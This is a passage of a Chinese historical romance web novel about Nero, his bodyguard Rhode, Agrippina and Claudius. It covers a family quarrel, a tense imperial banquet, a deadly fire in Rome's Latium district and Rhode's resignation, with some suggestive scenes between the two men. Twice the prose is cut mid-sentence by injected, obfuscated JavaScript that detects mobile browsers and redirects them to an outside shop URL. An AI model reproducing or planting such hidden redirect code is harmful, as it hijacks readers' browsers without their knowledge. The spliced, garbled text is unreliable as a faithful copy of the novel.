“象个男人一样睁大眼睛看着我,”罗德语气严厉,宛如一个老师在训教他的学生,“你不敢看我吗?”
“我……”尼禄结结巴巴地说,“我……我没想到你会这么主动,罗德……”
罗德踩过麦穗图案的羊毛地毯,穿过蒸腾的水汽,好象一个虔诚到极致的教徒,要以自己的肉|体去献祭一样,把身体移到他面前。
“噢……”尼禄紧张地眨着眼,眼神四下游移着。罗德皮肤上的水珠折射出光点,象小刺一样落进他的眼底。
他不知道该将视线放在哪里。罗德近在咫尺,他闻到由草木灰和羊油制成的肥皂味。神经仿佛密密麻麻分散在空气里,罗德一点点动静都能扯动到他。
“抬起手,放在我肩上。”罗德压低嗓音,象神话里的塞壬用声音诱惑船员一样。他揉搓尼禄的鬓发,指尖轻戳鼻梁上那一小片的浅褐色斑点。他凝神看那些雀斑很久,才贴上去,亲吻他的眼睑。
尼禄不由地抱紧他的肩膀。
罗德飞快将腰间的红丝带解开,缠绕住眼睛,“不要紧张。”
尼禄将手挪到他的左胸口,感到心脏在里面跳动。他竟然欣喜着亲吻罗德的心口,产生超脱性质的满足。
“你太美了……罗德。”尼禄喟叹道。
罗德蒙着眼睛,面颊黏着黑亮的湿发,唇色是比丝带更深暗的深红,好象某种幽深的入口,皮肤散发草木灰的冷艳的清木味。
“少矫情。”他迫切地说,“我要你立刻开始,就现在!”
罗德的口气极其坚硬。他难以驯服的野性,一种时时刻刻都在“挺身”的气质,具有苦难气息的坚强,和军人这种职业自带的宿命感和悲剧性,让尼禄一瞬间就有了官能上的渴求。
53. 怪物的由来
阿格里皮娜走进家宅时,奴隶们先是震惊,再逐渐面目严肃,个个都讳莫如深的模样。
随行的女仆被阿格里皮娜留在门外。她通身穿着蓝紫色的纱裙,大臂戴着黄金制成的蛇形手镯。她的发间压着麦穗形状的金发箍,眉毛上方盘起一个发髻,余下的头发烫成波浪,这是时下流行的贵妇发型。
“你们的主人呢?”她语气冷淡地说。
诸多奴隶中等级最高的家奴上前,向她行礼后说:“主人已经起床,正在穿衣。”
阿格里皮娜点头,面无表情地说:“我就在这里等他。”
……
尼禄一边扣死托加袍的搭扣,一边满面红光地从庭院的廊柱间穿过。
瞥见母亲时,他就象撞到一面玻璃墙那样猛然止步。
阿格里皮娜坐在天井边上,紫色的头纱包住她银白的头发。她的头顶正上方就是蓝紫色的天空,到天边一直渐变到亮白色。微微佝偻的阿格里皮娜,就象从背景中直接撷取出来的一笔色彩,与风景意外的和谐。
尼禄第一次觉得他的母亲老了。
阿格里皮娜听见动静扭过头,看到廊柱后的儿子,板着脸说:“你怎么会从一楼出来?一个贵族应该在高楼层的卧室里睡觉。”
“一个贵族有权选择自己睡觉的卧室。”尼禄绕过一根根廊柱,“我只想睡在让我能够全身放松的地方。何况我每天都得在日出之时起床办公。”
阿格里皮娜站起身,不以为然地说:“你的父亲每天都会在日出之前结束洗漱和更衣。”
一提到丈夫,她不自觉地想说更多,就连来找尼禄的目的都忘记了,“他比你更自律,也更上进,每天都要用掉数十张蜡板,那些蜡板都是我亲手刮平的。他是世界上唯一一个让我心服口服的人……”
尼禄表现出一点兴致,“多么美丽的爱情故事。”
阿格里皮娜讶异起来,紧紧盯着他的脸。直到尼禄以同样疑惑的眼神盯回去,她才开口:“你变了,尼禄。”
“我哪里变了?”尼禄语调平平地说。
阿格里皮娜半眯着眼睛说:“变得理解我了。以前的你,总会在我提到你父亲时跟我绊嘴,就象一只小豹子一样要咬我。”
尼禄重新板起脸,清晨的冷风将他的刘海吹得乱七八糟。他戒备地说:“你这么早过来要做什么?一般我只会在下午招待客人。”
阿格里皮娜往四周看了看,别有深意地说:“你的亲卫呢?你真的把他接回家了?”
尼禄象被戳到软肋一样脚底打晃。他甚至能听见身体内血液冲上头顶的嗡嗡声。
他尽力克制自己,不冷不热地说:“他是我尼禄的亲卫。他的去向不必向你汇报。”
阿格里皮娜瞥见他暴出血管的脖颈,冷笑道:“你果然把他接回来了。”
她走近几步,将搭在肩前的波浪卷发统统撩到肩后,显出一种利落的姿态,“我记得我说过,如果你不想杀他,我会亲自动手。”
“你不能伤害他!”尼禄脸色发青,“你绝对不可以伤害他!”
阿格里皮娜白了他一眼,“把你这副护崽鸡一样的态度收一收。”
她抱起双臂,拇指不停抚过大臂上的金蛇头,若有所思的样子。过了一会,她忽然凶戾地说:“你拒绝与屋大维娅结婚,不会就是因为他吧?”她紧接着问道:“你和他的关系,已经到哪一步了?”
尼禄的脸色由青转红。只要“罗德”这两个字冒出来,他全身的神经就象被牵引出离一样,表情和动作都不再听从大脑的指令。这一刻他痛恨人类大脑的无能。
阿格里皮娜皱紧眉头,“每天只往返于别墅和元老院的你,根本不知道民间的舆论已经到了何种地步。他是你登帝的祸害。”
“可罗德有什么错?!”尼禄眼睛充血,说话的声音猛然增大,“他从未触犯任何法律。他所谓的罪,是他的血缘强加给他的。他根本无法选择自己的出生……”
他停顿一下,声音转而低沉起来:“就和我一样。”
阿格里皮娜走近一步,面容冷静。天光给她的脸覆一层铁灰色,于是她说出口的话也附带一些金属味:“连续泛滥的洪水让民众质疑你治水的才能;很多元老在街头演讲,用洪水和亲卫来攻击你;克劳狄乌斯正在物色新的储君,因为你拒绝与屋大维娅通婚……”
她的眼色忽然暗沉下来,声音陡然变小,“为此我已经暗杀了几名有才华的年轻贵族。”
尼禄只惊讶了一瞬间,接着意料之中地冷笑一声。
“杀死多少人我都不会在乎,更何况一个护卫。”阿格里皮娜平静地说,“就算他是你的贴身亲卫,只要我想杀,你也是拦不住的。”
尼禄前额的青筋凸起,眼睑肉眼可见地肿胀起来。冷风灌入他的衣袍,使他看起来象即将爆炸一样膨胀。这一刻阿格里皮娜莫名感到一些压迫感。
等到风停了,衣袍重新挂在他清瘦的骨架上。他眼睛很红,嘴角抑制不住地抽搐,“我已经理解你了……”
他要以呼唤亲人的方式,向阿格里皮娜示弱:“你就不能理解我吗?我的母亲……”
阿格里皮娜听到这两个音节,心脏就象被扯动一样酸疼起来。
因为尼禄从未喊过她“母亲”。
她的脸色青红交织,只觉得胸口的酸胀感翻滚,直直顶到嗓子和眼睛。她的眼泪差点就被这股酸胀顶出来。与此同时,丈夫的音容跃起在她的脑海:那时候,年轻而不苟言笑的多米提乌斯,为了吓退她将近两年的求爱,将一条活蛇砍成两截,当着她的面生吸蛇血。
而她拾起还在跳动的另一截蛇,微笑着将嘴唇贴上蛇的截面。
多米提乌斯愣住,沉默一会后,终于象认输一样叹出一口气:“算了。”
他望着满脸是血的阿格里皮娜,思索了很久,认命般地冲她笑笑:“我想我们的孩子,一定是个怪物。”
这是他终于接受她的一刻。
“算了……”阿格里皮娜脱口而出。她眼睛发酸,慌乱地扯下纱巾遮住自己的脸。
她没再说什么,只是用纱巾遮着涨红的脸。在女奴的搀扶下,她跌跌撞撞地走出庭院。
尼禄听到门外凌乱的马车声,双腿酸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239670|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
软得差点要跪下来。他如释重负地回过头,瞥见一楼的玻璃窗打开了一道缝。
他心下一紧。
罗德听到一切了。
……
尼禄战战兢兢地走进餐厅。
罗德站在餐桌前,正在用木勺盛出玉米粥。他背对着亮黄的、喷着火星的壁炉,头顶两侧是拴起的墨绿色幕帘。
他看上去很平静,“吃饭。”他说。
尼禄一边打量他的脸色,一边躺在沙发上,将丝绸餐布铺在面前。
两人都沉默。
尼禄用贝壳形的餐勺拨动着豆子,放进碾成泥的鹦嘴鱼肝里。他偷瞄罗德一眼,放下餐勺,用银刀将来自西班牙的腌黄瓜切下一小块。他把食物吞下去,只觉得这一口东西象无法消化的金属,从咽喉一直下坠到腹部。
他腾出一片空地,率先开口道:“我想你躺过来,和我一起吃。”
罗德给自己倒一杯蜂蜜水,“我不习惯躺着吃饭。”
尼禄放下餐具,托着腮说:“以后我都要坐着吃饭。”
罗德将移到嘴边的蜂蜜水又放下,“尼禄。”他语气凝重地叫出他的名字,好象要宣布什么噩耗一样。
尼禄没来由地紧张起来。某种程度上,他真的很怕罗德。
罗德靠在雕着战神马尔斯的梁柱上,眼睛向下看着他。火光在他脸上拉出一片金箔,“不要为我自降身格。”
尼禄讪讪地伸出手,从太阳形状的小银碟里捏一粒绿葡萄干,衔在唇间。
“今晚我不回来了。”罗德说,“我要带一队火警去巡逻,这是我的公务。”
尼禄带着鼻音小声咕哝:“我不想你再做这个火事总长了。”
罗德将杯口抵在唇边,“我也不喜欢这个职务。”
尼禄拿掉葡萄干,很有兴致地问:“那你喜欢做什么?”
罗德摇晃手里的银杯,两睫之间的眼睛被火光从侧边照透,呈现玻璃珠一样的透明。他认真地说:“海盗。”
尼禄笑道:“这个职务我帮不上忙。”
罗德喝一口蜂蜜水,放下银杯,看向正在吃饭的尼禄。
尼禄咽下玉米粥,捏起烤熟的不列颠牡蛎,蘸上鱼酱,夹在铺着紫甘蓝的面包里。
“吃完了吗?”罗德忽然开口问。
尼禄愣了愣,放下热乎乎的面包,粘着面包屑和鱼酱的手指僵在空气中。
“吃完了。”他回答道。
罗德将遮挡用的幕帘放下,径直走过来。他扯掉本就松松垮垮的衣服,赤│裸的皮肤在火光下显出黄铜的颜色。这具习武练就的结实的、精瘦的胴体,刚柔并济。他的肌肉是纤长的,微微绷紧,极具有观赏性。
他踩上沙发,跨坐在尼禄胯间。
“罗德……”尼禄呼吸紊乱地说,“你总是能给我惊喜,真是叫我受不了……”
罗德拿起他的手,将他沾着鱼酱的手指含入口中。
尼禄被这一幕冲击,猛地弹坐起来,双眼通红地盯着他。
“一会我希望你粗暴点。”罗德贴近他耳边说,“我的主人……”
54. 不可能的和解
到了夜晚,罗马城内亮起星星点点的灯火,在黑暗中就象被剪碎的亮片。
罗德戴上长檐帽,将帽带打结在靠近喉结的地方。他和几名火警将水泵搬上马车,转身望向曲折脏乱的街道。
这里是拉丁姆区,罗马人口最密集的地方,很大一部分是房屋密集的贫民区,只有贵族才能住上独立的别墅,平民只能住在拥挤的公寓楼里。平房上再堆一层平房,组成歪歪扭扭的公寓楼,最高的楼层没有流动水,租金越往上就越低廉。
罗德仰起头,微凸的喉结毕现,呈现出一个尖角,“这种公寓楼最容易发生火灾。”
他扶着长檐帽,对身旁的一帮下属说:“等会巡查时,一定要排除所有火源,包括散落的木柴和被人遗弃的橄榄油瓶。”
他的下属们闷声不吭系着帽带,斜眼看他一眼,没有做出回应。他们的目光没什么善意,从四面八方飞快地看过来,就象挑不尽的鱼刺。
罗德突然意识到,今晚还没有一个火警向他行礼。他将水泵拴好,严肃地问:“你们没听见我说什么吗?”
下属们戴正帽子,周围只有窸窸窣窣的声音。他们就象约定好一样都闭着嘴。
离罗德最近的一个火警不情不愿地转过身,就象被逼迫一样开口道:“才刚下过雪,地上还有积水,怎么可能会有火灾……”
他的鼻子皱着,说话瓮声瓮气,始终不以正眼去看他的上司。
罗德知道自己在坊间的名声极差,但在亲身感受时还是有些震惊。
尤其是连下属都拒绝听从自己的命令时。
“你们最好认真起来。”他说,“一旦发生火灾,不仅我会被治罪,你们也会面临一顿带刺的鞭笞……”
他的话音未落,空中忽然炸出火光,紧接着一声巨响从前方传来,地面随之晃荡一下。罗德下意识扶住砖石砌成的墙,灰土在墙缝间簌簌而落。他的帽檐上落不少脏土。
还在穿戴的火警们被灰土呛得咳嗽。他们东倒西歪,胳膊在充满烟尘的空气中乱挥,就象一滩陷进蜂蜜的黑蚂蚁。
“老天爷……”一个火警一抹鼻子,人中处划出一道黑迹,“庞贝的火山又复活了吗……”
罗德掩住口鼻,往前方看过去,火光象金球一样瞬间倒映在他黑色的眼底。
黑烟翻滚着上升,被火焰照成墨蓝色,火舌好象一条赤红的蛇信子舔向夜空。尖叫声四起,奴隶摔掉头顶的陶罐,妇女提着睡袍赤脚逃命。僵立的火警被人群冲撞,差点摔倒在石板路上。
罗德纹丝不动地站着。他好象被蜡慢慢封住耳朵,吵闹声逐渐隔绝。
他的神识一瞬间游移到前世。
当年,一场三天三夜的火灾几乎毁掉整个罗马。元老院指责尼禄,认为他为建造新宫殿而故意纵火。自那时,尼禄的命运开始走下坡路。
那场载入史册的火灾,正是发生在罗马城的闹市区,拉丁姆区。
罗德的耳边里瞬间涌起一阵噪音。
他将帽带勒得更紧,抓住马头的绳索,一抬脚就翻上马背,“还愣着干什么?”
他握起马鞭,对着还在发愣的火警说:“还不快去灭火?!”
火警们好象死人回魂一样缓过神,忙乱地提起水桶。几名火警推起攻城时才会用的投石器。这种装备可以拆除着火的房屋,制造出隔离带。等级低的火警手拿铁钩,用来拉倒燃烧的东西。他们把被子浸满水,一层层堆放在牛车上。
……
尼禄站在皇帝的宫殿前,跟随他的家奴替他摘下暗红色的羊毛披肩,摇响金制的铃铛。门内随即有一名高级奴隶出来,手捧一只毛刷,跪在尼禄靴前。
就在刚才,尼禄接到阿格里皮娜的命令,来参加皇帝举办的晚宴。
奴隶用毛刷扫净靴底的灰。这样可以防止客人的鞋子弄脏昂贵的马赛克地板。皇帝家的马赛克地板用料讲究,上面的图案是怀抱花瓶的维纳斯女神。
尼禄看一眼灯火通明的殿里,用脚挥去奴隶,直接踩过维纳斯的脸蛋走了进去。
一阵带有海鲜饭香的热风,和明黄的灯光一起,直直打在他脸上。
厨师在冒着热汽的黑面包上撒芹菜粒,这能增加食物的香味。女奴将榛子捣碎,用细长的调羹挖出碎粒,放在烤好的鲣鱼肉上。四个奴隶合力抬进来一只铜制圆盘,上面有十二种菜,按照黄道十二宫的方位摆放。克劳狄乌斯最爱的茴香烤蘑菇就放在天蝎宫。
尼禄脱掉靴子,在滴了香水的铜盆里洗了脚。他赤脚踩过丝绒毯,躺到侧边的沙发上。
主位沙发上的克劳狄乌斯斜起眼睛瞧他一眼,又默默将视线移走。
“哼……”他从鼻孔发出微弱的气声。
克劳狄乌斯用尖角形的银勺盛出几片烤蘑菇,又从圆盘的处女宫叉出被阉割母猪的卵巢,撒上一些奶酪丝。他赌气似的,将这些一口吞下。
尼禄拒绝跟他的女儿通婚,皇帝就故意冷落他。
阿格里皮娜梳妆完毕,由女奴扶着从帘帐后面走来。
她把头发全都用纱巾包起来,只在鬓边垂下两缕螺旋形的发绺。
“你来了。”她平淡地说,动作自然躺在皇帝身边。
克劳狄乌斯咳了咳,下意识扭着身体往旁边挪,与她隔出一些空间。
尼禄将餐布铺好,“没有别的客人吗?”
阿格里皮娜将双手张开,让女奴擦净。她用那双总是又冷又毒的眼睛看着他,说道:“这场晚宴,是因为你才举办的。”
她将鲣鱼肉里的鱼刺捏掉,用平勺递进克劳狄乌斯的餐盘里,“上一次,因为你的少不更事和年轻气盛,我们闹了一些不愉快。希望今天你们可以和解。 ”
克劳狄乌斯用叉子叉起鱼肉,一口塞进嘴里。他不情不愿地翻起垂皱的眼皮,
“我本想把屋大维娅也叫来。”他一边咀嚼鱼肉一边说,“但你的母亲拦住了我……”
“她还在怨恨尼禄。”阿格里皮娜打断他,眼神象寒潭一样冷冰冰的。她用纱袖拂去给她倒酒的女奴,“现在还不是他们能够和解的时候。”
尼禄神色阴冷。他从果盘里捏掉一颗紫葡萄,一丝一丝剥掉它的皮。
克劳狄乌斯歪着身体,一只脚垂下去,让他的修脚奴给他修剪指甲。
“这段时间,我消瘦很多。我甚至梦见自己从飞翔的金牛背上摔下来……”他郁郁地说,“这真是个不详的梦,据说凯撒被刺杀的前一夜也做了类似的梦……”
阿格里皮娜截去他的话:“罗马的平民和贵族无一不臣服您。相信我,您会长命百岁的。医生告诉我您的身体就象公牛一样健康。”
“唉……”克劳狄乌斯摸了摸自己瘪进去的腮帮,“我一直在变老变瘦。泛滥的洪水、阳奉阴违的元老、怨天尤人的民众……直到现在我才明白,原来我不过是历史的人质,是不作为的神明的替罪羊。”
尼禄默不作声,将鲣鱼肉送入口中。
阿格里皮娜看到冷眼旁观的儿子,巧妙地转开话锋:“说到洪水……尼禄,这件事一直是你在负责治理。有什么成果吗?”
她竭力凸显尼禄的功绩,“听说你修建了水槽,有引流的效果……”
尼禄将口中的食物吞咽下去,才开口道:“效果有,但是并不大。”
他把勺子横着平放在杯口,这样可以阻止奴隶为他添加葡萄汁。“洪水反反复复,简直象一滩有意识的粘液。我庄园的山脚下,原本是贩卖蜂蜜和鱼肉的市场,如今被冲刷成一条浑浊不清的河流。”
阿格里皮娜翻了个白眼,“可你手下的行政官告诉我,新水槽的效果斐然。你这个孩子,总是象你父亲一样,长着一双浅色眼睛,却只去看黑色……”
她忽然意识到身边还有克劳狄乌斯,连忙闭上嘴,斜着眼睛偷瞄皇帝一眼。
克劳狄乌斯给烤蘑菇都撒上酱汁,细细咀嚼着,没任何异样。这个皇帝经历过他的上一任皇后,相当大度,可以容忍任何其他丈夫都不能容忍的事。
阿格里皮娜给皇帝递上一杯用接骨木花酿成的昂贵饮料,说道:“可是,这种品质也会让他成为一个严谨的执政者,不是吗?”
她在努力促成儿子与皇帝和解。
克劳狄乌斯悻悻地瞄着尼禄,以他惯用的窝囊语气说:“尼禄也有执着的品质,他执着得就象一头认定了攻击目标的斗牛。”
尼禄慢腾腾地用毛巾擦了手,不冷不热地瞟他一眼。
克劳狄乌斯阴阳怪气地说:“他不愿娶一个嫁妆贵重、血统尊贵的王女,却可以罔顾街头巷议,象对待爱妻一样对待他来路不明的亲卫……”
尼禄猛地攥紧毛巾,嘴唇有些颤抖。他一语不发,许久才逐渐松开手里的毛巾。
克劳狄乌斯絮絮叨叨:“我最爱我的女儿。她是我的另一种生命形式,是我血肉的衍生,是我留存于世的证据,我真希望把整个世界
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239671|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都送给她。她要是男孩,我付出性命也要保她戴上桂冠;可她既然是女孩,我就要让她能与皇帝平起平坐!”
他提高嗓门,以一种煽动性的腔调说:“她的丈夫,必然是罗马的皇帝;或者说罗马的皇帝,必然娶她为妻。这是我就算被冥神接走、也要站在冥船上宣读的誓言!”
尼禄闷声,缓慢地低下头,烛光将他的银发照成老旧羊皮纸的铜黄色。
克劳狄乌斯见他沉默不语,更是气急,“尼禄啊……为何王座的继承人偏偏是你?为何罗马的储君只有你一个?罗马之大,竟找不出第二个会治理政务、会用希腊语说修辞的年轻贵族……”
阿格里皮娜的嘴角扯动几下。为了让尼禄成为唯一的储君,她找人暗杀了几名年轻贵族。这几个年龄不到十五岁的贵族们,都被刺死于上学途中,和陪同的教仆一起死于非命,之后再被伪装成抢劫或野兽撕咬的样子。
克劳狄乌斯的声音变得尖利:“我象一个被逼到尽头的老丈人。我一直都很想问你,也要求你给出诚实的回答:你为什么不娶我的女儿?”
尼禄看向他衰老的双眼,冷淡地回答道:“我不爱她。”
克劳狄乌斯悲从中来:“噢,就连王座和桂冠都不足以鼓舞你娶她吗……”
他被尼禄气得想哭,鼻腔一阵酸胀。一种和女儿同病相怜的情绪在他心里滋生,与他长久以来压抑的愤懑合而为一了。这个一生没被他人放在心上的皇帝,此刻借以女儿的名义去宣泄愤懑;就象一个邪|教的创立者,以守护女神|的名义去捍卫自己臆想的道。
“我痛恨的不是你不爱她,而是你自始至终就没有瞧得起她,甚至在心里鄙夷她。这不是不爱,也不是势均力敌的基础上的不般配,而是一个灵魂对另一个灵魂的全盘否定!岂止是一个‘不爱’就能概括的。我可怜的屋大维娅,我们父女俩是相同的命运,我们注定要独自行走这一生……”
尼禄从沙发上坐起来,用奴隶端上来的清水洗好手,一脸冷漠。
“我和你永远都不会和解了,尼禄。”克劳狄乌斯吸着塌陷的鼻子,恼怒地说,“我不会再把女儿嫁给你,也不可能让你有登帝的可能。你代表了这个世界对我们父女俩的所有恶意!”
阿格里皮娜听到这话,脸色一下子暗沉下去。她默不作声地翻过手里的餐刀,刀刃反射的一道光晃过她面色不佳的脸。
这时,皇帝蓄养的家奴从殿外跑进来,前额渗出几滴汗珠。他双膝下跪,皇帝赏赐他的黄金护膝与大理石地板碰触出声响。
“很遗憾打扰您,主人,以及……多米提乌斯大人。”他尽量稳住发抖的脊背。
尼禄正抬起一只脚,一旁跪下的奴隶手里提着靴子,准备为主人重新穿靴。
奴隶弯曲着脊背说:“拉丁姆区发生了火灾,很多火警和平民都受了伤。”
尼禄心中一凉,手脚都变得冰冷起来。他放下腿,警觉地问:“什么意思?”
奴隶低下头,避开他质问的眼光,继续道:“火情不大,但伤亡很重。一个火警说,他们用尽城内的投石机、水泵和水管,就这样还是死了很多人。火灾发生在闹市区,那里的住户密集到放眼全罗马也是数一数二的……”
“为什么出面的是普通的火警?火事警长呢?”尼禄猛然站起来,“我的罗德呢?!”
奴隶神色为难,“警长……据说是失踪了……”
尼禄这一瞬间仿佛听到血液涌撞上头顶的巨响,“失踪了?!”
“大火已经扑灭,火警队开始清点人数,但作为警长的他并没有到场……”奴隶一点点挤出声音,“但或许现在已经到场了也说不准……”
尼禄浑浑噩噩地套上靴子,殿内通明的烛光照得他眼睛发疼,“准备马车。”他思维混乱地说,“我要去拉丁姆……”
他的手心冒出冷汗,铁打的靴底在地板上踩出紊乱的哒哒声。
克劳狄乌斯瞥过他的背影,将餐具往盘子里一扔,愤愤不平地说:“他就象是中了巫术,他被罪人之子蛊惑了。很抱歉,阿格里皮娜,就算他是你的儿子,我也无法把女儿和罗马交给一个中了巫术的人。”
阿格里皮娜出奇地镇定。她安静地吃完盘中的水果块,抬起头看她的叔父一眼,平淡地说:“您最爱的烤蘑菇都要凉了,叔父。为了不叫它尝起来有腥味,您最好现在就吃掉它。”
克劳狄乌斯感到眼前的场景有种莫可名状的别扭。
55. 长着胡须的女人
尼禄赶到拉丁姆区时,已经快要天亮了。
灰白色的天幕下,乌云般的灰烬翻滚在空中,就象是从天幕的破洞里漏出来的。一大片公寓被烧得只剩废墟,仿佛一具具被剔除血肉的骸骨。
四周人流不断,火警们用牛车推走破碎的建筑,奴隶抬着被烧得残缺不全的身体。焦糊味渗透在空气中,从全部的方位蔓延过来。刺鼻的味道胀满人类的所有感知。
尼禄僵直地站在废墟中间,红托加袍,苍白的银发。他是当前这灰黑场景中,唯一一个可称之为色彩的东西。
一名火警战战兢兢地上前,他脸上尽是灰烬和汗液混合而成的黑印。
“多米提乌斯大人……”他卑躬屈膝地说,“我们在所有还竖着的墙壁上贴了标识,警长如果还能看到,他会找到这里的……”
尼禄突然暴躁起来,揪住火警的衣领猛地将他拽过来,“他一定会看到!注意你的言辞。”
他推开火警,自己象站不稳一样,靠在一面被熏黑的墙壁上。他顺着墙面慢慢蹲下来,扬起头,看向前方被火卷过的平地。
建筑的废墟被扒拉到两边,腾出中间一大片空地。尼禄的眼光毫无遮挡,直直到达天边尽头。在他的视野里,两侧高高的废墟在尽头交汇于一点。灰烟拢成的云雾象在捕猎的鳄鱼一样,静悄悄地游过天空。
尼禄两睫之间的水汽越来越重,视野里的景物晕成几个灰色色块。
一个黑点凭空出现在废墟交汇的尽头。
尼禄狠狠眨一下眼睛,用手背抹去眼眶里的水雾。
尽管相隔很远,他立刻认出那是他的罗德。
罗德的身影夹在他视野正中间。这团黑点攒动着,地平线在他后面横亘而过,将视野分割成上下两个色块,上面是灰白的天空,下面是灰黑的地面。那团黑点象日蚀一样越来越大,主宰四周一切灰暗的色调。
尼禄看着罗德一步步走到眼前。
罗德满身都是灰尘,黑衣黑帽。他拿掉长檐帽,用指头弹掉帽檐的积灰,素净的五官隐在散乱的长发之内,在没有彩色的黑白背景下,显出一种古朴的气质。
“你的眼睛红了。”他把鬓边的头发捋到耳后,“我还没死。”
尼禄用后背抵着墙壁又站起来。他软着双腿摇晃几步,紧盯罗德那双黑白分明的眼睛,好象在梦游一样。
“你去哪儿了?”他象刚刚梦醒一样,“我让人找了你一夜。”
罗德踩到高处,坐在一只四分五裂的水泥块上。他叉开双腿,低伏着背,手肘弯着置于双膝,一副凌驾万物的姿态。尼禄逆着天光仰视他,只能看见一副黑漆漆的剪影。
尼禄产生一种抓不住他的惊恐。
“我在一间被炸毁的商铺里。”罗德的声音从那个黑影里传来,“它的爆炸是这场火灾的起源。”
尼禄的眼睛被他背后的天光刺痛,“你找到什么了吗?”
“没有。”罗德说,“所有的东西都被炸成了渣子和黑炭,我几乎一无所获。”
尼禄顺着剪影的流线,一直瞥到他脚下的青苔。那抹苔绿色宛如寄生一般,附在碎掉的墙根处。
“拉丁姆的冬天潮湿得可以把被子挤出水。”他思索着说,“这种天气下的爆炸,可以说很不寻常。”
“不寻常的不止这一处。”罗德说,“我们在救火时,发现有一大批奴隶在自发地救火,而且很有组织,这非常奇怪。我不相信久居底层、从未接受过他人善意的他们会和无私的神明一样去灭火。不得不承认,在鄙夷和恶意里成长的奴隶,是罗马社会里整体素质最低贱的。”
尼禄警然,“那这些奴隶呢?”
“我们遣散了他们,毕竟他们连投石器和水泵都没有,只有低级的水管。留在救火现场,只会碍事。”
罗德这么说着,传出一声轻笑:“他们看到我们时,表现得很惊讶,或许是没想到火警队这么快就赶到。当然了,这要感谢我那些不听指挥的下属,是他们拖拖拉拉,才让队伍没走远。”
尼禄气恼地说:“我要革除他们的职务。”
“不必。”罗德的剪影摇了摇头,“只要担任火事总长的是我,火警就永远不会听话。火警都是从服役军人里挑选的,好斗又不服输的军人,怎肯向一个罪人的血脉俯首称臣。”
罗德的肩膀相当平直,线条刚硬。他的毕身刚强被尼禄尽揽眼中。尼禄骨鲠在喉,只有他知道这身刚强其实起源于无助和孤独;他看透了他的坚强,只觉得心痛。
罗德坐直身体,胳膊往后一撑,长到肩胛的黑发被冷风吹得晃来晃去。
“闹市区发生火灾,范围不大,但死伤严重,仅仅一夜就找出一百多具黑炭一样的尸体。”他停顿一下,继续道,“我想我很快就会被免职、治罪。”
“只要我在,没人会治你的罪。”尼禄坚决地说。
“可你不能阻止别人对我的口诛笔伐。我已经预见,诗人将用我的名字命名史诗里的妖邪,妇女将污化我的形象以吓唬她们不爱睡觉的孩子,而你将以昏君或蠢人的形象被贵族和平民议论。”罗德以轻蔑的口气自嘲道,“其实现在已经如此了。”
尼禄仰望他的剪影,深深感到一股脱力感。
皇室血脉带给他的自信、由钱权撑起的威严,此刻都被无法控制的现实击得粉碎。再要强和有权势的凡人,但凡遇到命运的洗劫,都会变得毫无尊严。
“我要你免去我作为亲卫和火事总长的职位,并且和你分开。”罗德抬头面对烟翳满满的天空,“这不仅仅是因为我拖累到你,也是因为……”
他闭上眼,嘴唇也呡起来,沉默了仿佛有水钟耗尽那么久,才缓缓吐出:“也是因为我真的累了。”
尼禄如堕冰窖,“可以……”他虚弱地回应道。
他下意识攥起拳头,“但是,这段时间你要住在我的新庄园里,并且允许我偷偷去看你。这是我最大的妥协了,罗德。”
罗德应付似的轻轻点头。
……
尤利乌斯的别墅里,每隔三五步就会站着一个身着暴露的阉奴或女奴。
自从上次的火灾,尤利乌斯变本加厉,生活极尽淫|糜。
一个裸着上半身的阉奴爬到尤利乌斯脚下,捧起他的一只脚,让脚底在自己的胸膛上摩擦。尤利乌斯恶趣味地,蜷起脚趾用力夹他的皮肉。阉奴讨好地笑,柔软的嘴唇不断亲吻主人的脚。
尤利乌斯满脸胡茬,头发乱得打结。他从眼缝里瞥见阉奴红红的胸膛,不由地勾起一边嘴角,腮帮的横肉随即挤出来。
“做得不错,真是个好孩子。”他用脚碰了碰阉奴的脸。
他挥手招来最近的一个女奴,顺势躺倒在沙发上。他的后脑枕着女奴的双腿,让她一颗颗地喂他吃葡萄。
几名乐师跪坐在沙发旁,戴满宝石的手指在弹拨里拉琴。这些高等乐师从小受训于皇室建立的乐坊,接受过良好的教育。他们整天与贵族打交道,耳濡目染,除了没有尊贵的籍贯,见识和谈吐与贵族无异。
尤利乌斯跟着乐曲,摇晃着浆糊一样的脑袋。
为首的乐师喝口水润润嗓子,开口唱起时下流行的歌谣:
『你披着禁色的爱向他走来,
用继承的血脉蛊惑继承的血脉。
原来银发人都爱黑发人,
原来十字架难封锁鬼魂,
原来爱情是世代的怨怼。
倘若王子知道你是复仇的恶鬼,
噢,倘若他知道你是复仇的恶鬼……』
尤利乌斯油腻的耳朵动了动。他用散发着葡萄酸气的嘴巴说道:“这是什么歌?”
奏乐声立即小了下去。乐师毕恭毕敬地答道:“《黑发仆人》,如今传遍坊间的歌谣,连不懂事的小孩都会哼唱几句。”
尤利乌斯吐出一粒葡萄籽,动弹臃肿的嘴唇说:“歌词很特别嘛。”
“那是自然。”乐师说,“歌词的原型是多米提乌斯大人和他的亲卫,他们的故事可是街头巷议的热点。”
尤利乌斯睁开布满红丝的眼睛,看起来清醒了很多。
“尼禄吗?”他歪过头问。
